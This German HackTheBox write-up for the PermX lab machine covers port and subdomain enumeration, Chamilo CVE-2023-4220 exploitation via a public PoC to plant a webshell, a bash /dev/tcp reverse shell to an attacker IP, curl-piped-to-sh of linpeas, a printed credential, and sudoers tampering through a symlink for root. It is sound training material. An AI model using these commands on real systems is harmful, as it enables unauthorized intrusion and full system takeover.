> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# PermX HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Enumeration
* Chamilo-Ausnutzung
* LINpeas-Enumerierungssystem
* Sudoers-Privilegieneskalation (Berechtigungen der /etc/sudoers-Datei geändert)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/52201746b00b03be079bb76e83fa2c5d9faebc2d" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/029324fe88c8da4ea4adfeb7804c870ee42fc8e5" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/8c7d07c81e23327b572f91c41984620e980dd34f" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/89013a8c4302c8c78519199cbe8b6b03798ea1fc" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/8a38cc19ffc6af3cc433ae043db35ba055bfd7e5" alt="" width="563"><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/266144f485672c4c88888efa0f7a722cbcb40894" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/91be5b759cbb1ec500961d4558f5e9f08a5d1a78" alt=""><figcaption></figcaption></figure>

**Suche nach möglichen Verzeichnissen mit Gobuster:**

Verwendung von Gobuster zum Scannen möglicher Verzeichnisse auf der Website mit einer Datei für die mittlere Verzeichnisauflistung.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/c06a5357c68d9c5f72c224b4a2e6ace24f634772" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche mit Gobuster:**

Verwenden Sie **Gobuster** mit einem Wörterbuch, um versteckte Zugriffsdateien zu finden.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/fdc9d5105380ef3f684bd8a6ffd9020c61486dc7" alt=""><figcaption></figcaption></figure>

### Subdomain-Enumeration

Um die Subdomains einer Website mit dem Wfuzz-Tool über die Konsole zu enumerieren, kannst du den folgenden Befehl verwenden:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/e282460f3b88c850849258f72136da4ef8f0a64a" alt=""><figcaption></figcaption></figure>

Stelle sicher, dass du die `/etc/hosts` Datei aktualisierst, um die entdeckten Subdomains aufzunehmen:

<figure><img src="/files/710ab35cf3a02b04cc6a0d0f747fba48d77f42e6" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/a6908cdf5bc59a85733d4e17169f5dd797ca32e8" alt=""><figcaption></figcaption></figure>

## Chamilo-CMS-Schwachstelle:

Chamilo weist eine Schwachstelle auf, identifiziert als CVE-2023-4220, die Remote Code Execution (RCE) ermöglicht. Um diese Sicherheitslücke auszunutzen, kannst du das folgende auf GitHub verfügbare Skript verwenden:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Klonen Sie das GitHub-Repository:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Führe eine Überprüfung durch, um festzustellen, ob die Schwachstelle auf dem Ziel vorhanden ist:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/19950f8c4011cb509486f732da98303c88bad400" alt=""><figcaption></figcaption></figure>

### Webshell:

Wenn die Schwachstelle vorhanden ist, injizieren Sie eine **PHP-Webshell** in Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/aec290fd57e960a7c6f2d22a3c3ab8de9f9e5fa3" alt=""><figcaption></figcaption></figure>

Sobald die Webshell injiziert ist, kannst du Befehle auf dem Zielsystem ausführen.

<figure><img src="/files/e124a2cc04e8ad9d7f4f1495ff301d459e8facc4" alt=""><figcaption></figcaption></figure>

### Reverse Shell:

Um eine Reverse-Shell-Verbindung herzustellen und Zugriff auf die Maschine zu erhalten, führe den folgenden Befehl in deinem Terminal aus:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Dann lausche auf Port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/b9441ec6e301f7d93a91704f5dda72627ffa0c2b" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

**System-Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Wir verwenden Linpeas zur Privilegienerkennung:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/07497c9a61837e7f9a61ba06ce9338d0a82b0bfd" alt=""><figcaption></figcaption></figure>

**Entdeckung eines neuen Benutzers:**

Während der Enumerierung haben wir einen neuen Benutzer namens `mtz`.

<figure><img src="/files/9327aad200caf3f4f8dcfbc32be0e58ad1881034" alt=""><figcaption></figcaption></figure>

**Wiederherstellung eines Passworts:**

Das folgende Passwort wurde gefunden:

<figure><img src="/files/a89ae67a0cf80514d6ff5bdb9a0d648d264da342" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/337976cd294b968f0661469e26404e1a79a19777" alt=""><figcaption></figcaption></figure>

#### Flagge user.txt:

<figure><img src="/files/76f927673f4a4d6a38daf13022c975965864482b" alt=""><figcaption></figcaption></figure>

### Sudoers:

Durch Ausführen des `sudo -l` Befehls stellen wir fest, dass wir die Möglichkeit haben, ein Skript als **root**.

```bash
sudo -l
```

<figure><img src="/files/c127de3b92d3e7f2faff2c3acc2a0be441eb124d" alt=""><figcaption></figcaption></figure>

Dieses Bash-Skript ändert die Zugriffsrechte eines Benutzers für eine bestimmte Datei mithilfe von ACLs, nachdem die Gültigkeit des Pfads und bestätigt wurde, dass es sich beim Ziel tatsächlich um eine Datei handelt.

<figure><img src="/files/b5e6e0d3637d06b7a703607658cb129dda0a64dd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cbd28620d0c7cfdb04c54c75ad99603b3186ecb6" alt=""><figcaption></figcaption></figure>

Gewähren wir dem Benutzer mtz schließlich Lese- und Schreibrechte für die Datei

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Es tritt ein Fehler auf, weil sich die Datei in unserem `/home/mtz` Verzeichnis

<figure><img src="/files/a688d65a10058d892c8ec87472d7609791aace58" alt="" width="535"><figcaption></figcaption></figure>

Um das Problem zu umgehen, könnte man einen symbolischen Link von einer Systemdatei zu dem `/home/mtz/` Verzeichnis erstellen und das Skript auf diesem Link ausführen.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/c8fd3f7b553221283955ac877595e872f8f91587" alt=""><figcaption></figcaption></figure>

Wir müssen die Datei "sudoers/\_link" bearbeiten, wodurch die sudoers-Datei aktualisiert wird, um dem Benutzer mtz volle Rechte zu geben.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/7ab9a34ffba321bc388aa772b7f4585999809d53" alt=""><figcaption></figcaption></figure>

### Root-Flag : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/c9a9a21525d0b36f4a10b8f7fa86f41e4dbceb08" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/baec1420255fb55e5f57fa7ae826f13e40145dcc" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
